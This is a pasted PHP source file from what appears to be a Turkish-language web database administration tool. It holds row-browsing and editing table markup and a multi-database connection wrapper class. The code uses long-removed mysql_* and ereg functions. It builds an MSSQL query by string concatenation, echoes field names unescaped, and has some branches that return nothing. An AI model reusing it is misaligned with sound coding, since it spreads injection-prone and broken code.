  3048. "\t\t\t\t".'<a href="#EnAlt">'.$this->vty->dug->dil['EnAlt'].'</a> '.$this->vty->ara().' <a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['SayfaYnl'].'</a> '.$this->vty->ara().' '."\n".
  3049. "\t\t\t\t"."<a href=\"".$this->vty->urlyap($this->vty->linkler."stb=")."\">".$this->vty->dug->dil['Yukari']."</a>&nbsp;"."\n";
  3050. $this->vty->tabloSonu();
  3051. $this->vty->tabloBas('','1','5','','0','#E9EDE9');
  3052. }
  3053.  
  3054.  
  3055. function asil_tablo_ust()
  3056. {
  3057. echo "\t".'<table width="'.$this->vty->dug->gor['table_width'].'" border = "'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'" cellpadding="'.($this->vty->dug->gor['cellpadding']+2).'" nowrap >'."\n".
  3058. "\t".'<form name="dsform" method="post" action="'.$this->vty->urlyap("ne=sectim&".$this->vty->linkler).'" >'."\n".
  3059. "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" height="30" >'."\n".
  3060. "\t\t\t".'<td nowrap width="'.$this->vty->dug->gor['asilTbSagYan'].'" align="center" bgcolor="#efefef" >'."\n";
  3061. if($this->vty->ilk=='ki') echo ' <a href="'.$this->vty->urlyap("ilk=uz&".$this->vty->linkler).'">'.$this->vty->dug->dil['Kisalt'].'</a>'."\n";
  3062. else echo ' <a href="'.$this->vty->urlyap("ilk=ki&".$this->vty->linkler).'">'.$this->vty->dug->dil['Uzat'].'</a>'."\n";
  3063. echo "\t\t\t".'</td>'."\n";
  3064. }
  3065.  
  3066. function asil_tablo_adlari($query,$numfields)
  3067. {
  3068. $GidecekPrimaryVar = false;
  3069. for($r=0;$r<$numfields;$r++){
  3070. $field_name = $this->vty->db->vty_field_name($query,$r);
  3071. $fetch_field = $this->vty->db->vty_fetch_field($query,$r);
  3072. if($fetch_field->primary_key == "1")
  3073. $GidecekPrimaryVar = true;
  3074. echo "\t\t\t".'<td nowrap >'. '&nbsp;'.'<a href="'.$this->vty->urlyap($this->vty->linkler."&order=".$field_name."&desc=".$this->vty->desc).'">'."<b>".$field_name."</b>";
  3075. if($this->vty->order == $field_name)
  3076. echo $this->vty->desc_resim;
  3077. echo '</a>'.'&nbsp;'.'</td>'."\n";
  3078. }
  3079. return $GidecekPrimaryVar;
  3080. }
  3081.  
  3082. function asil_tablo_hep_hic($numrows)
  3083. {
  3084. if($this->vty->ne <> "duzelt" and $numrows <> '0' )
  3085. echo "\t\t\t".'<td nowrap align ="center" bgcolor="#efefef" width="'.$this->vty->dug->gor['asilTbSolYan'].'">'."\n".
  3086. "\t\t\t\t".'<input type="checkbox" name="sdscheck[]" onClick="return HepsiniSec(\'dsform\',\'sdscheck[]\');" value=\'budonguburadabitmez\'>'."\n".
  3087. "\t\t\t".'</td>'."\n";
  3088. else
  3089. ;//echo "\t\t\t".'<td nowrap align ="center" bgcolor="#efefef" width="10">'."\n"."\t\t\t\t".'&nbsp;</td>'."\n";
  3090.  
  3091. echo "\t\t".'</tr>'."\n";
  3092. }
  3093.  
  3094. /*
  3095. * Asil tablodaki hepsini sec yeri veya sagdaki inputlar
  3096. */
  3097. function asil_tablo_ici_hepsiniduzelt($duzeltid,$i,$numrows)
  3098. {
  3099. if($this->vty->ne =="duzelt" and $duzeltid == $i )
  3100. echo '<input name="ne" type="hidden" value="sectim" >'."\n".
  3101. '<input name="nebu" type="hidden" value="bunlariduzelt" >'."\n".
  3102. '<input name="sdb" type="hidden" value="'.$this->vty->dbname.'">'."\n".
  3103. '<input name="stb" type="hidden" value="'.$this->vty->tablename.'">'."\n".
  3104. '<input name="duzeltid" type="hidden" value="'.$duzeltid.'">'."\n".
  3105. '<input name="GidecekPrimary" type="hidden" value="'.$this->GidecekPrimary.'">'."\n";
  3106.  
  3107. if($this->vty->ne <> "duzelt" and $numrows <> '0')
  3108. echo "\t\t\t"."<td valign=\"top\" align =\"center\" bgcolor=\"#efefef\" width=\"".$this->vty->dug->gor['asilTbSolYan']."\">".
  3109. "<input type=\"checkbox\" name=\"sdscheck[]\" value=\"$i\" onClick=\"sMi();\" >".'</td>'."\n";
  3110. else
  3111. echo "\t\t\t".'<td bgcolor="#efefef" width=\"3\"></td>'."\n";
  3112. }
  3113.  
  3114. /*
  3115. * Asil tablodaki bir satir icin duzelt secili oldugunda.
  3116. */
  3117. function asil_tablo_ici_duzeltdurumu($duzeltid,$i)
  3118. {
  3119. if($this->vty->ne=="duzelt" and $duzeltid == $i)
  3120. echo "\t\t\t".'<td nowrap valign="top" align ="center" bgcolor="#efefef" width="'.$this->vty->dug->gor['asilTbSagYan'].'" >'.
  3121. '<input name="duzelt" type="submit" id="duzelt" value="'.$this->vty->dug->dil['Kaydet'].'"> '.$this->vty->ara().' '.
  3122. '<a href="'.$this->vty->urlyap($this->vty->linkler).'">'.$this->vty->dug->dil['Iptal'].'</a>'.
  3123. '</td>'."\n";
  3124. else
  3125. echo "\t\t\t".'<td nowrap valign="top" align ="center" bgcolor="#efefef" width="'.$this->vty->dug->gor['asilTbSagYan'].'">'.
  3126. '<a href="'.$this->vty->urlyap("ne=duzelt&duzeltid=".$i."&".$this->vty->linkler)."\">".$this->vty->dug->dil['Duzelt'].'</a> '.$this->vty->ara().' '.
  3127. '<a href="'.$this->vty->urlyap("ne=sectim&sdssil=1&sdscheck[]=".$i."&".$this->vty->linkler).'"'.
  3128. 'onClick="return silDe();">'.$this->vty->dug->dil['Sil']."</a>".
  3129. '</td>'."\n";
  3130. }
  3131.  
  3132. function asil_tablo_ici_goruntu_duzelt($result,$query,$r,$GidecekPrimaryVar)
  3133. {
  3134. $field_name = $this->vty->db->vty_field_name($query,$r);
  3135. $GidecekPrimary = '';
  3136. // primary
  3137. if($GidecekPrimaryVar==true){
  3138. $fetch_field = $this->vty->db->vty_fetch_field($query,$r);
  3139. if($fetch_field->primary_key == "1")
  3140. $GidecekPrimary = "&primary[".$field_name."]=".$result;
  3141. }else{
  3142. $GidecekPrimary = $GidecekPrimary."&primary[".$field_name."]=".$result;
  3143. }
  3144.  
  3145. $result = htmlspecialchars($result);
  3146. $alantipi = $this->vty->db->vty_field_type($query,$r);
  3147. $textyeri = $this->vty->AlanTipi($result,$alantipi);
  3148. if(isset($GidecekPrimary))
  3149. $this->GidecekPrimary .= $GidecekPrimary;
  3150. return "\t\t\t"."<td>".$textyeri.'</td>'."\n";
  3151. }
  3152.  
  3153.  
  3154. function asil_tablo_ici_goruntu_normal($result,$ilk)
  3155. {
  3156. //global $iii;
  3157. // $iii++;
  3158. if($ilk == "ki") {
  3159. $result = htmlspecialchars($result);
  3160. $bunuGoster = "\t\t\t"."<td>".$result.'</td>'."\n"; //onmouseover=\"return bcolor('#ffffff',this);\"
  3161. } else{
  3162. $strlen = strlen($result);
  3163. $result = $this->vty->ilk50($result,$this->vty->dug->gor['StrlenMax']);
  3164. $kisalmismi = ($strlen == strlen($result) ? 'h' : 'e' );
  3165. $result = htmlspecialchars($result);
  3166. $result = ($kisalmismi == 'e' ? $result.'<a href="'.$this->vty->urlyap("ilk=ki&".$this->vty->linkler).'">�</a>': $result);
  3167. $bunuGoster = "\t\t\t".'<td nowrap >'.$result.'</td>'."\n";
  3168. }
  3169. return $bunuGoster;
  3170. }
  3171.  
  3172. function asil_tablo_ici_satiryoksa($numrows,$r)
  3173. {
  3174. if($numrows == "0"){
  3175. echo '<tr>'."\n".'<td>&nbsp;</td><td colspan="'.($r).'" bgcolor="'.$this->vty->dug->gor['bgcolor3'].'" width="'.$this->vty->dug->gor['table_width'].'" height="90" align="center" >'.
  3176. "&nbsp;".$this->vty->dug->uy['SatirYok'].' <br><br> '."\n".'<a href="'.$this->vty->urlyap("ne=satirgir&".$this->vty->linkler).'" >'.
  3177. $this->vty->dug->dil['SatirEkle']."</a>".
  3178. "</td> \n </tr> \n";
  3179. }
  3180. }
  3181.  
  3182. function asil_tablo_ici_altkisim($numrows,$r,$i)
  3183. {
  3184. echo "\t\t"."<tr bgcolor=\"".$this->vty->ikirenkli(($i+1),"#f0f0f0","#f7f7f7").'" border = "'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'" cellpadding="'.$this->vty->dug->gor['cellpadding'].'" >'."\n".
  3185. "\t\t\t"."<td colspan=\"".($r+2)."\" >"."\n".
  3186. "\t\t\t\t".'<input type="hidden" name="sdquery_order" value="'.$this->vty->query_order.'">'."\n".
  3187. "\t".'<table width="100%" >'."\n".
  3188. "\t\t".'<tr>'."\n".
  3189. "\t\t\t".'<td align="left" > '."\n"."\t\t\t\t".ereg_replace('@number@',"$numrows",$this->vty->dug->uy['ToplamSatir']).' / '.$this->vty->numrows."\n"."\t\t\t".'</td>'."\n".
  3190. "\t\t\t\t".(($this->vty->ne <> "duzelt" and $numrows <> '0')?
  3191. "\t\t\t".'<td align="right">'."\n"."\t\t\t\t".'<span id="sdsspan" name="sdsspan" >&nbsp;</span>'."\n".
  3192. "\t\t\t\t"."<input name=\"sdsduzelt\" type=\"submit\" value=\"".$this->vty->dug->dil['Duzelt']."\" onClick=\"return sdBiKontrolEt('dsform','sdscheck[]',true,'duzelt','VtyYeniPencere');\" > ".$this->vty->ara()." \n".
  3193. "\t\t\t\t"."<input name=\"sdssil\" type=\"submit\" value=\"".$this->vty->dug->dil['Sil']."\" onClick=\"return sdBiKontrolEt('dsform','sdscheck[]',true,'sil','".$this->vty->dug->uy['EminmisinSil']."');\">&nbsp;&nbsp;\n".
  3194. "\t\t\t"."</td>"."\n":'').
  3195. "\t\t"."</tr>"."\n"."\t"."</table>"."\n".
  3196. "\t\t"."</td>"."\n"."</tr>\n"."</form>"."\n"."</table>"."\n";
  3197. }
  3198.  
  3199.  
  3200. function asil_tablo_alt()
  3201. {
  3202. $this->vty->tabloBas('','0','10','0','',$this->vty->dug->gor['alt_bgcolor']);
  3203. echo "\t\t\t\t".'<li><a href="'.$this->vty->urlyap("ne=satirgir&".$this->vty->linkler).'">'.$this->vty->dug->dil['SatirEkle'].'</a></li>'."\n".
  3204. "\t\t\t\t".'<li><a href="'.$this->vty->urlyap("ne=tablo_bosalt&".$this->vty->linkler)."\" OnClick=\"return Sileyimmi('".$this->vty->dug->uy['EminmisinBosalt']."');\">".
  3205. "\t\t\t\t".'<font color="red" size="1" >'.$this->vty->dug->dil['TbBosalt']."</font></a></li>"."\n".
  3206. "\t\t\t\t".'<li><a href="'.$this->vty->urlyap("ne=tablo_kaldir&".$this->vty->linkler)."\" OnClick=\"return Sileyimmi('".$this->vty->dug->uy['EminmisinKaldir']."');\">".
  3207. "\t\t\t\t".'<font color="red" size="1" >'.$this->vty->dug->dil['TbKaldir'].'</font></a></li>'."\n".
  3208. "\t\t\t"."</td>"."\n".
  3209. "\t\t\t".'<td valign="top" align="right" >'."\n".
  3210. "\t\t\t\t".'<a href="#EnUst">'.$this->vty->dug->dil['EnUst'].'</a> '.$this->vty->ara().' <a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['SayfaYnl'].'</a> '.$this->vty->ara().' '."\n".
  3211. "\t\t\t\t".'<a href="'.$this->vty->urlyap($this->vty->linkler."stb=").'">'.$this->vty->dug->dil['Yukari'].'</a>'."\n";
  3212. $this->vty->tabloSonu();
  3213. echo '<a name="EnAlt" />'."\n";
  3214. }
  3215. }
  3216. ?>
  3217. <?php
  3218.  
  3219. /**
  3220. * vtydb
  3221. *
  3222. * Vty database connection class
  3223. *
  3224. * @access public
  3225. */
  3226. class vtydb
  3227. {
  3228. var $vtAdi;
  3229. var $baglan;
  3230.  
  3231. function vty_connect($conHost,$conKul,$conSif){
  3232. switch($this->vtAdi){
  3233. case 'mysql': $this->baglan = @mysql_connect($conHost,$conKul,$conSif); break;
  3234. case 'odbc': $this->baglan = odbc_connect($conHost,$conKul,$conSif); break;
  3235. case 'mssql': $this->baglan = @mssql_connect($conHost,$conKul,$conSif); break;
  3236. case 'postgresql': $this->baglan = pg_connect($conHost,$conKul,$conSif); break;}
  3237. return $this->baglan;
  3238. }
  3239. function vty_close($conId=''){
  3240. $conId = $this->baglan;
  3241. switch($this->vtAdi){
  3242. case 'mysql': return mysql_close($conId); break;
  3243. case 'odbc': return odbc_close($conId); break;
  3244. case 'mssql': return mssql_close($conId); break;
  3245. case 'postgresql': return pg_close($conId); break;}
  3246. }
  3247. function vty_query($sqlQuery){
  3248. switch($this->vtAdi){
  3249. case 'mysql': return mysql_query($sqlQuery); break;
  3250. case 'odbc': return odbc_exec($sqlQuery); break;
  3251. case 'mssql': /*echo $sqlQuery;*/ $qu = mssql_query($sqlQuery); /*echo mssql_get_last_message($qu); */ return $qu; break;
  3252. case 'postgresql': return pg_exec($sqlQuery); break;}
  3253. }
  3254. function vty_result($sqlQuery,$i,$tb){
  3255. switch($this->vtAdi){
  3256. case 'mysql': return mysql_result($sqlQuery,$i,$tb); break;
  3257. case 'odbc': return odbc_result($sqlQuery,$i,$tb); break;
  3258. case 'mssql': return mssql_result($sqlQuery,$i,$tb); break;
  3259. case 'postgresql': return pg_result($sqlQuery,$i,$tb); break;}
  3260. }
  3261. function vty_error(){
  3262. switch($this->vtAdi){
  3263. case 'mysql': return mysql_error(); break;
  3264. case 'odbc': return odbc_errormsg(); break;
  3265. case 'mssql': return mssql_result(mssql_query("select @@error as hata"),0,'hata'); break; //mssql_get_last_message();
  3266. case 'postgresql': return pg_errormessage(); break;}
  3267. }
  3268.  
  3269. function vty_errno(){
  3270. switch($this->vtAdi){
  3271. case 'mysql': return mysql_errno(); break;
  3272. case 'odbc': return odbc_error($sqlQuery); break;
  3273. case 'mssql': return mssql_min_error_severity(); break;
  3274. case 'postgresql': return 0; break;}
  3275. }
  3276.  
  3277. function vty_fetch_object($conId){
  3278. switch($this->vtAdi){
  3279. case 'mysql': return mysql_fetch_object($conId); break;
  3280. //case 'odbc':
  3281. case 'mssql': return mssql_fetch_object($conId); break;
  3282. case 'postgresql': return pg_fetch_object($conId); break;
  3283. }
  3284. }
  3285.  
  3286. function vty_list_dbs($conId){
  3287. switch($this->vtAdi){
  3288. case 'mysql': return mysql_list_dbs($conId); break;
  3289. //case 'odbc':
  3290. case 'mssql': return mssql_query("sp_databases"); break;
  3291. //case 'postgresql':
  3292. }
  3293. }
  3294.  
  3295. function vty_list_dbs_databasename(){
  3296. switch($this->vtAdi){
  3297. case 'mysql': return 'Database'; break;
  3298. //case 'odbc':
  3299. case 'mssql': return 'DATABASE_NAME'; break;
  3300. //case 'postgresql':
  3301. }
  3302. }
  3303.  
  3304. function vty_list_tables($dbName){
  3305. switch($this->vtAdi){
  3306. case 'mysql': return mysql_list_tables($dbName); break;
  3307. case 'odbc': return odbc_tables($dbName); break;
  3308. case 'mssql': return mssql_query("EXEC sp_tables \"%\",\"%\",\"".$dbName."\",\"'TABLE'\""); break;
  3309. case 'postgresql': return pg_list_tbs($dbName); break;
  3310. }
  3311. }
  3312.  
  3313. function vty_num_rows($query){
  3314. switch($this->vtAdi){
  3315. case 'mysql': return mysql_num_rows($query); break;
  3316. case 'odbc': return odbc_num_rows($query); break;
  3317. case 'mssql': return mssql_num_rows($query); break;
  3318. case 'postgresql': return pg_numrows($query); break;
  3319. }
  3320. }
  3321.  
  3322. function vty_select_db($dbName){
  3323. switch($this->vtAdi){
  3324. case 'mysql': return mysql_select_db($dbName); break;
  3325. //case 'odbc':
  3326. case 'mssql': return mssql_select_db($dbName); break;
  3327. //case 'postgresql':
  3328. }
  3329. }
  3330.  
  3331.  
  3332. function vty_tablename($gelen,$deger){
  3333. switch($this->vtAdi){
  3334. case 'mysql': return mysql_tablename($gelen,$deger); break;
  3335. //case 'odbc':
  3336. //case 'mssql': return mssql_tablename($gelen); break;
  3337. //case 'postgresql':
  3338. }
  3339. }
  3340.  
  3341. function vty_list_fields($dbname,$temptb){
  3342. switch($this->vtAdi){
  3343. case 'mysql': return mysql_list_fields($dbname,$temptb); break;
  3344. //case 'odbc':
  3345. case 'mssql': return mssql_list_fields($dbname,$temptb); break;
  3346. //case 'postgresql':
  3347. }
  3348. }
  3349.  
  3350. function vty_num_fields($list){
  3351. switch($this->vtAdi){
  3352. case 'mysql': return mysql_num_fields($list); break;
  3353. case 'odbc': return odbc_num_fields($list); break;
  3354. case 'mssql': return mssql_num_fields($list); break;
  3355. case 'postgresql': return pg_numfields($list); break;
  3356. }
  3357. }
  3358.  
  3359. function vty_field_name($list,$i){
  3360. switch($this->vtAdi){
  3361. case 'mysql': return mysql_field_name($list,$i); break;
  3362. case 'odbc': return odbc_field_name($list,$i); break;
  3363. case 'mssql': return mssql_field_name($list,$i); break;
  3364. case 'postgresql': return pg_fieldname($list,$i); break;
  3365. }
  3366. }
  3367.  
  3368. function vty_fetch_field($list,$i){
  3369. switch($this->vtAdi){
  3370. case 'mysql': return mysql_fetch_field($list,$i); break;
  3371. //case 'odbc':
  3372. case 'mssql': return mssql_fetch_field($list,$i); break;
  3373. //case 'postgresql':
  3374. }
  3375. }
  3376.  
  3377. function vty_fetch_row($query){
  3378. switch($this->vtAdi){
  3379. case 'mysql': return mysql_fetch_row($query); break;
  3380. case 'odbc': return odbc_fetch_row($query); break;
  3381. case 'mssql': return mssql_fetch_row($query); break;
  3382. case 'postgresql': pg_fetch_row($query); break;
  3383. }
  3384. }
  3385.  
  3386. function vty_fetch_array($query){
  3387. switch($this->vtAdi){
  3388. case 'mysql': return mysql_fetch_array($query); break;
  3389. case 'odbc': return odbc_fetch_array($query); break;
  3390. case 'mssql': return mssql_fetch_array($query); break;
  3391. case 'postgresql': pg_fetch_array($query); break;
  3392. }
  3393. }
  3394.  
  3395. function vty_field_type($list,$i){
  3396. switch($this->vtAdi){
  3397. case 'mysql': return mysql_field_type($list,$i); break;
  3398. case 'odbc': return odbc_field_type($list,$i); break;
  3399. case 'mssql': return mssql_field_type($list,$i); break;
  3400. case 'postgresql': pg_fieldtype($list,$i); break;
  3401. }
  3402. }
  3403.  
  3404. function vty_field_flags($list,$i){
  3405. switch($this->vtAdi){
  3406. case 'mysql': return mysql_field_flags($list,$i); break;
  3407. //case 'odbc':
  3408. //case 'mssql': return mssql_field_flags($list,$i); break;
  3409. //case 'postgresql':
  3410. }
  3411. }
  3412.  
  3413. function vty_field_len($list,$i){
  3414. switch($this->vtAdi){
  3415. case 'mysql': return mysql_field_len($list,$i); break;
  3416. case 'odbc': return odbc_field_len($list,$i); break;
  3417. case 'mssql': return mssql_field_length($list,$i); break;
  3418. case 'postgresql': pg_field_len($list,$i); break;
  3419. }
  3420. }
  3421.  
  3422. function vty_affected_rows(){
  3423. switch($this->vtAdi){
  3424. case 'mysql': return mysql_affected_rows(); break;
  3425. case 'odbc': return odbc_affected_rows(); break;
  3426. case 'mssql': $fe = mssql_fetch_row(mssql_query("select @@rowcount",$this->baglan)); return ($fe[0]?$fe[0]:0); break;
  3427. case 'postgresql': pg_affected_rows(); break;
  3428. }
  3429. }
  3430.  
  3431. function vty_free_result(){
  3432. switch($this->vtAdi){
  3433. case 'mysql': return mysql_free_result(); break;
  3434. case 'odbc': return odbc_free_result(); break;
  3435. case 'mssql': return mssql_free_result(); break;
  3436. case 'postgresql': pg_freeresult(); break;
  3437. }
  3438. }
  3439.  
  3440. function vt_adi ($gelenVtAdi) {
  3441. $this->vtAdi = $gelenVtAdi;
  3442. }
  3443. }//class:db
  3444.  
  3445. ?>
Add Comment
Please, Sign In to add comment